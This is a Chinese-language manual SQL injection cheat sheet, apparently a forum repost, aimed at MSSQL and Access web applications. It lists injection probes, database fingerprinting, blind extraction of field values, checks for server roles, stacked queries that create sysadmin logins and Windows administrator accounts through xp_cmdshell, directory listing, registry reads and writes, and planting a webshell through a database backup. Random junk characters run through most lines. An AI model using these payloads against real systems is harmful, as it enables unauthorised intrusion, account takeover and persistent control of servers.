手工脚本注入
! w. n* l- |+ g2 W0 }3 x" T1.判断是否有注入;and 1=1 ;and 1=2 " @8 X5 I C0 H( C- _+ b
$ J4 P- p2 _/ y% i2.初步判断是否是mssql ;and user>0 ' m; A3 ^. n1 } i' g: \/ ~
a) m) X8 p( V* y& ^& G3.注入参数是字符'and [查询条件] and ''='
5 w- ^! p8 o- F& u8 h& ]$ b% G2 _9 O+ ^+ U- X
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8 n6 s: I7 ?9 x6 _+ r* i( z
5 O1 H! O* k5 c% C m
5.判断数据库系统 ( h7 Z) I; K7 f- p. N
;and (select count(*) from sysobjects)>0 mssql : B+ n! N$ ]7 I6 d0 N
;and (select count(*) from msysobjects)>0 access
% y4 H+ } _* M& }0 h
4 V/ A: Y2 F. S6.猜数据库 ;and (select Count(*) from [数据库名])>0 $ S3 S E0 L: _" O& W# s7 `+ G
9 N& h+ [& x F* l
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8 @, C) b' L7 N9 q ]1 H% t9 |5 g8 X( w7 l# t5 a
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2 v# c+ a8 B9 d, D8 a: n
% @3 e& _7 U8 r
9.(1)猜字段的ascii值(access)
0 h5 M. H1 `6 u2 B4 O: z9 ];and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
) _( s1 |# Q( T7 ~, B1 l8 A! E7 F( ]* W* @* T0 L
(2)猜字段的ascii值(mssql) - Q2 j) L7 `5 \* i- R9 n$ Q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9 T6 k7 |/ ], P' V6 n. C4 e( p6 A4 ^
1 u$ R( q( M( L2 f- X, Z5 r
10.测试权限结构(mssql) 0 D" | X( J B1 Q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 `/ f0 s. C, C% }, {;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 i1 J' P2 N* T* I: Q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 `- ~% y$ |- t8 f; b# {;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
) N9 T( A/ x( ~( d2 {+ s, m;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 t; K, `8 ]( a" ^ [;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ' S3 C' F: y5 [- P
;and 1=(select IS_MEMBER('db_owner'));-- 6 L+ M7 w$ x9 U9 Q! s' b
( i# a7 T: S: u: ?2 ?- i/ O; O
11.添加mssql和系统的帐户 ! W/ Z1 S. r" u. ]) u3 t' H% D
;exec master.dbo.sp_addlogin username;-- 6 b2 Q0 L. p7 `" @( C/ y) @3 }
+ e: \2 |3 a/ w _, Y& Z;exec master.dbo.sp_password null,username,password;--
1 e- A$ Q6 K' r6 o; E' Z
- X* i+ y/ Z4 O2 x, o; M* F3 n" s;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" q4 p# ?* _7 X0 t" ?6 J) p4 O* E7 W2 a' ?4 W* |
;exec master.dbo.xp_cmdshell 'net user username password % s1 s- f2 O' F- X Q+ R- |/ C
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
) x* r t& w4 e: ^1 _( n+ `) ~- {" N, \0 u. Q5 u' u
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1 K% k% `' i) z; J, [- @$ Y7 {7 m
5 N$ k5 @' Q8 s" q- s% `$ [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # N/ z/ ^3 Y+ ^# F8 r
: v# `# A6 N) U, e: k) h2 V" r& w12.(1)遍历目录
w# F( ]9 Z* M1 H) l2 R
! J5 h2 R9 x) N' {: y# Q;create table dirs(paths varchar(100), id int) / k9 r& u0 V! j9 c" X
;insert dirs exec master.dbo.xp_dirtree 'c:\'
; {$ f/ K$ I+ C0 p) P+ G;and (select top 1 paths from dirs)>0
! {. r, N! z) I2 W% z# [* X;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : h" K) ?/ d0 f: g
* C* C1 ?. y$ X
(2)遍历目录 5 g+ u) y$ M% N9 i8 K2 z" e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' u& c2 Y( K" m9 E0 P;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: J3 V2 R9 B9 t' U( q9 T# } o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ Z4 w0 r# C6 d9 T$ C
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
4 q9 Y- L0 n5 f% k;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
" ~9 z% a( J3 u' J! \6 J* {' k2 m g) E. f3 n6 `4 o+ j6 v, \2 U; S7 `
13.mssql中的存储过程
; V9 x/ T7 H3 V$ L* |7 u l4 j( q. R | Q: p
xp_regenumvalues 注册表根键, 子键 4 R4 G% n/ X( T% {# l* K
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
" f8 \( i4 G$ I# x4 j$ K
- p% \% {. T2 Xxp_regread 根键,子键,键值名
/ S% C+ @: e6 l;exec xp_regread
3 c, h) M7 M# J% L3 i# M6 e'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" z# T0 Q; }2 |/ {6 e
6 R5 W) Y* @ rxp_regwrite 根键,子键, 值名, 值类型, 值 5 B1 w6 v/ b' P+ s( v
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 y" P% l$ c8 I2 t. x& ]) D( y" q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 . W. F- [* Q5 B$ X, i
" s& C1 X/ W* r5 g0 j$ o) ~
xp_regdeletevalue 根键,子键,值名 y, X. L- m- Y' G0 X. b
$ {* v) X+ F: H% q: Qexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
5 g1 c4 z# }# ?5 v, h1 a/ @) p' k/ k A" N, y# H$ Q9 R
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
$ t) S4 w3 X6 O6 |6 l0 x; r: V# [6 X k+ ]6 b5 F) R! z
14.mssql的backup创建webshell 7 \2 i: u* U n: _: L0 W, L& V
use model
7 @) ]8 y2 |# F! `! @1 w! a# Ccreate table cmd(str image);
6 {' Q5 B/ u9 u) Z$ x, linsert into cmd(str) values ('');
- c0 g+ k6 e2 G9 t; qbackup database model to disk='c:\l.asp'; ( ^9 h9 U7 u8 X) {4 c/ d
0 _0 X7 h/ j2 i8 M9 P* p- A0 d15.mssql内置函数 1 ]" G+ N* w6 g4 e6 q* p
;and (select @@version)>0 获得Windows的版本号
7 O( B* p/ p% A. I5 i& B1 [+ u2 f8 v;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 E% p1 V3 m- O4 X- m9 ?: i$ f;and (select user_name())>0 爆当前系统的连接用户 5 P+ h2 S# S# ~9 M# t9 i& W
;and (select db_name())>0 得到当前连接的数据库 : m& o3 P5 f& x) P# k0 A, u
9 B* @ m8 c9 M' Q16.简洁的webshell t# ^/ ~5 f! [) q) D& ^
9 p4 Y' y0 [. W1 W# ^, ^) z, [1 Y
use model ) M3 h2 [7 h" a& ]+ {2 ^ ]0 P* M
* s; F7 H; a! F2 X' A: Z0 k7 C
create table cmd(str image); . u/ \8 E. M# N+ p
$ v1 `8 f8 n0 _ G0 |; ?insert into cmd(str) values ('');
1 X8 i6 ?: h' x, C6 a7 X8 ~( V5 T3 Z! A# w
backup database model to disk='g:\wwwtest\l.asp'; 0 ^6 W/ U6 r9 j x+ Q- h
" b1 a. i/ X, a' s
|